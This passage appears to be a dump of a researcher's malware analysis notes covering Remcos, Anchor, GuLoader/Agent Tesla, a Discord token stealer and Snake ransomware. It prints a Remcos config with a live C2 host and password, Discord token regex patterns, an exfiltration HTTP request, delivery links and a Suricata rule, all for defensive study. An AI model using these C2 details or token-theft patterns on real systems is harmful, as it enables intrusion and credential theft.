'\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '5', '6', 'MicRecords', '\x00', '0', '0', '', '\x00', '\x01', '0', '\x00', '1', 'r\x00e\x00m\x00c\x00o\x00s\x00', 'r\x00e\x00m\x00c\x00o\x00s\x00', '\x00', '\x00', 'E6B7984F3FE9E61F8FA94748A79726CA', '\x00', '10000', '\x00'] 70 | ``` 71 | 72 | 73 | ``` 74 | {'Screenshot time': '10', 'Unknown39': 'Disable', 'Hide keylog file': 'Enable', 'Keylog folder': 'r\x00e\x00m\x00c\x00o\x00s\x00', 'Screenshot flag': 'Disable', 'Startup value': 'r\x00e\x00m\x00c\x00o\x00s\x00', 'Mutex': 'Remcos-B0YDF1', 'Keylog file max size': '10000', 'Setup HKCU\\Run': 'Enable', 'Host:Port:Password': 'nolim.duckdns.org:4922:blessing1234|', 'Connect delay': '0', 'Setup HKLM\\Run': 'Disable', 'Keylog flag': '1', 'Unknown55': 'Disable', 'Unknown50': 'Disable', 'Unknown51': 'Disable', 'Unknown52': 'E6B7984F3FE9E61F8FA94748A79726CA', 'Keylog crypt': 'Disable', 'Audio record time': '5', 'Copy file': 'r\x00e\x00m\x00c\x00o\x00s\x00.\x00e\x00x\x00e\x00', 'Unknown13': '0', 'Unknown32': 'Disable', 'Unknown33': 'Disable', 'Unknown31': 'Disable', 'Unknown34': 'Disable', 'Unknown35': 'Disable', 'Hide file': 'Disable', 'Install flag': 'Disable', 'Take Screenshot option': 'Disable', 'Keylog path': 'AppData', 'Assigned name': 'oneonebilli', 'Audio folder': 'MicRecords', 'Delete file': 'Disable', 'Setup HKLM\\Winlogon\\Shell': 'Disable', 'Mouse option': 'Disable', 'Connect interval': '1', 'Take screenshot title': 'wikipedia;solitaire;', 'Keylog file': 'l\x00o\x00g\x00s\x00.\x00d\x00a\x00t\x00', 'Take screenshot time': '5', 'Setup HKLM\\Explorer\\Run': 'Disable', 'Copy folder': 'r\x00e\x00m\x00c\x00o\x00s\x00', 'Unknown46': 'Disable', 'Unknown43': 'Disable', 'Unknown42': '', 'Unknown40': '0', 'Unknown47': '1', 'Screenshot path': 'AppData', 'Unknown45': '0', 'Unknown44': 'Enable', 'Setup HKLM\\Winlogon\\Userinit': 'Disable', 'Install path': 'AppData', 'Unknown53': 'Disable', 'Audio path': 'AppData', 'Screenshot crypt': 'Disable', 'Screenshot file': 'Screenshots', 'Unknown29': 'Disable'} 75 | 76 | ``` 77 | -------------------------------------------------------------------------------- /546bf4fc684c5d1e17b204a28c795a414124335b6ef7cbadf52ae8fbadcb2a4a.md: -------------------------------------------------------------------------------- 1 | # Sample 2 | 546bf4fc684c5d1e17b204a28c795a414124335b6ef7cbadf52ae8fbadcb2a4a 3 | 4 | This is an Anchor DNS variant, but also includes code for making ICMP echo requests. 5 | 6 | The request uses a hardcoded 'hanc' string in the ICMP echo request, the last two bytes appear to be the command flag, similar to the DNS variant a command can be downloaded or even an entire file in small chunks. 7 | 8 | Example ICMP packet: 9 | 10 | ``` 11 | >>> 12 | 13 | ``` 14 | 15 | Suricata rule: 16 | 17 | ``` 18 | alert icmp $HOME_NET any -> $EXTERNAL_NET any (msg:"Anchor ICMP"; itype:8; content:"hanc"; depth:4; classtype:trojan-activity; sid:9000010; rev:4;) 19 | ``` 20 | 21 | 22 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2020 sysopfb / Jason Reaves 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # open_mal_analysis_notes 2 | open source malware analysis and research notes dump 3 | -------------------------------------------------------------------------------- /d2cd734c7d08fe8a5f1f65e319a3204f0c8b46ea224f1b90b3c8a6d0c6de586a.md: -------------------------------------------------------------------------------- 1 | Email forward chain: 2 | 60e1212e3f5b039d10d0c40d77ea82d6bf679555553e36efc16894d7ba38e301 3 | 4 | 5 | ``` 6 | From: Redgate - Frankie 7 | Sent: Tuesday, March 17, 2020 10:23 PM 8 | To: Info-Proces__substg1.0_0F030102 9 | sChemical 10 | Subject: RE: RE: PO (COVID-19) 11 | Dear info-processchemical, 12 | Please find attached our stamped and signed PO 13 | Please send me your Performa invoice in order to make the bank transfer this week. 14 | PROTEGE-TE SEMPRE A TI E AOS OUTROS CONTRA O #CORONAVIRUS! 15 | Best Regards 16 | RCL - Frankie 17 | **************************************************** 18 | REDGATE (H.K.) TRADING DEVELOPMENT CO., LTD. 19 | Tel: 8620 - 3730 3456 20 | Fax: 8620 - 3730 3466 21 | Mobile: 86 - 137 5180 1340 22 | E-mail: redgate@vip.163.com 23 | ``` 24 | 25 | 26 | Will drop a GuLoader pretending to be a batch file: d2cd734c7d08fe8a5f1f65e319a3204f0c8b46ea224f1b90b3c8a6d0c6de586a 27 | 28 | VBCrypter is still the same, delivery: 29 | hxxps://drive.google[.]com/uc?export=download&id=1xz02BCj0obD4UPgs0CMtu_6GXxCEYXzS 30 | 31 | suspect key 522 bytes '43a9794c90c36e6c2eea70de1c62075d182cab716446a092026de603f02a3982ecf3225238c91773d63519e581adb0a8c07654770d4d4998aab88f0a5530e28994fa869de1147bbd7e3bc12f29b358ae697dfc7eb597f1e353be3710fd378ad33d002fa3891a24c427426a36d2fe01f91183a5c85e9e9ae9fb09e05ba68133dae54bd7ee3221cc0e8c8c123c7a0465ff76ce4dcf06e842f0600f44614e88db244a5180f4da6b75153493bb87230b0e061ed4f6196befeb3a0816ed68f78e842bf25828fb3f721d1bdddd97c1ff8aea84fb538e5447298375e594c9e6d30d6165cfd605791bacfa9ab918400ca890938ba359375af0742c7b8d9b72ed7c13c5b077ddad80c4f7a2a0621ea41250973b914c60dfa5987ad4c636a11a37245e6eb6202756866cfd4ba70a694d19b5e1e4dcf4aa88ab41817dccdeecc33e896416bdc82ebad11548aff1b36ff5635de88ce29db130b2e9cb251787f26b44316bbf07713463d7bd4e58f85b769e6a0632352d45b7d9fc92d2ce1d2f3d148fdab5670e197f0b2266550042c0c04670ae399933aa0281033a1c76249443789582bc10587e85b4280e9fa94968c7efbb573f423a52082a4d9f231f6e3c4a219c2bc2b85f268c5c2f73a6514f111197c1ff8aea84fb538e5447298375e594c9e6d30d6165cfd605791bacfa9ab918400ca890938ba359375af0742c7b8d9b72ed7c13c5b077ddad80c4f7a2a0621e' 32 | 33 | Decoded payload: 34 | 325488aeb875af06e07f609aa1d1a4357a125c714bb3d143da70ee18887f7441 35 | 36 | 37 | Appears to be Agent Tesla 38 | -------------------------------------------------------------------------------- /dd9500549f285c9095198f81a1aeff4910dd361ee79ed0fb9bc103e3a70837c5.md: -------------------------------------------------------------------------------- 1 | dd9500549f285c9095198f81a1aeff4910dd361ee79ed0fb9bc103e3a70837c5 2 | 3 | 4 | ``` 5 | centralcity.brazilsouth.cloudapp[.]azure[.]com 191.239.244.78 6 | ``` 7 | 8 | 9 | 10 | checks for 11 | ``` 12 | Roaming\discord 13 | Roaming\discordptb 14 | Roaming\discordcanary 15 | ``` 16 | 17 | If found checks files in Local Storage\leveldb\ for tokens by reading files and using regex patterns 18 | 19 | ``` 20 | mfa\.[\w-]{84} 21 | [\w-]{24}\.[\w-]{6}\.[\w-]{27} 22 | ``` 23 | 24 | 25 | Sends data to 26 | 27 | ``` 28 | hxxp://centralcity.brazilsouth.cloudapp[.]azure[.]com/brancao 29 | ``` 30 | 31 | Another sample: 32 | c16c3e17fa5eb849033825b24c813242be3fcd9e1b48ea52c816a9b0b8d6e856 33 | 34 | ``` 35 | hxxp://centralcity.brazilsouth.cloudapp[.]azure[.]com/wl 36 | ``` 37 | 38 | Another sample: 39 | ced418253024655d11588b97aba24aad3e80d215a1ed4ca1f7a8bf8ecf623216 40 | 41 | ``` 42 | hxxp://centralcity.brazilsouth.cloudapp[.]azure[.]com/tokyo 43 | ``` 44 | 45 | 46 | C2 traffic would look like this 47 | 48 | ``` 49 | GET /brancao HTTP/1.1 50 | Host: centralcity.brazilsouth.cloudapp[.]azure[.]com 51 | User-Agent: Go-http-client/1.1 52 | Content-Length: 23 53 | Sharkflow: mfa.012345678901234567890123456789012345678901234567890123456789012345678901234567891234 54 | Accept-Encoding: gzip 55 | 56 | {"foda-se": "kkkkkkkk"} 57 | 58 | ``` 59 | -------------------------------------------------------------------------------- /e5262db186c97bbe533f0a674b08ecdafa3798ea7bc17c705df526419c168b60.md: -------------------------------------------------------------------------------- 1 | Snake sample from VK https://twitter.com/VK_Intel/status/1214333066245812224 2 | 3 | Strings are XOR encoded, decoding function looks pretty static except for the offsets and lengths 4 | 5 | 6 | One of the first things decoded is an onboard public key which is common for ransomware that will use a public key to encrypt a symmetric key which is used to encrypt a file 7 | 8 | ``` 9 | Python>data1 = bytearray(GetManyBytes(0x608c5b, 0x1aa)) 10 | Python>data2 = bytearray(GetManyBytes(0x608e05, 0x1aa)) 11 | Python>for i in range(len(data1)): 12 | Python> data1[i] ^= data2[i] 13 | Python> 14 | Python>data1 15 | -----BEGIN RSA PUBLIC KEY----- 16 | MIIBCgKCAQEAyQ+M5ve829umuy9+BSsUX/krgdF83L3m8/uxRvKX5EZbSh1+buON 17 | ZYr5MjfhrdiOGnrbB1j0Fy31U/uzvWcy7VvK/zcsO/5aAhujhHB/qMAVpZ8zT5BB 18 | ujT1Bvsith/BXgtM99MixD8oZ67VDZaRM9TPE89WuAjnaBZORrk48wFcn1DOAAHD 19 | Z9z9komtqIH1fm3Y0Q6P76nUscLsYOme082L217Th/lTMoqqs4cF2rn9O9Vp4V9U 20 | aCs4XVxGSpcuqbIscfpf0cm44P2eOEk+sbZdahO9C6fezt7YF4OCJ4Vz3qqMD6z4 21 | +6d7FRxUu6k3Te2T2bWBZnsDO30pYFi/gwIDAQAB 22 | -----END RSA PUBLIC KEY----- 23 | ``` 24 | 25 | 26 | Since the decoding function is pretty static we can regex it out and decode all the strings statically 27 | 28 | ```python 29 | import re 30 | import sys 31 | import pefile 32 | import struct 33 | import binascii 34 | 35 | 36 | data = open(sys.argv[1], 'rb').read() 37 | 38 | pe = pefile.PE(data=data) 39 | base = pe.OPTIONAL_HEADER.ImageBase 40 | memdata = pe.get_memory_mapped_image() 41 | 42 | t = re.findall('''8d05......0089442404c7442408......00e8....eeff8b44240c.{34,70}89542404c7442408......00e8''', binascii.hexlify(data)) 43 | 44 | all = [] 45 | 46 | for val in t: 47 | off1 = struct.unpack_from('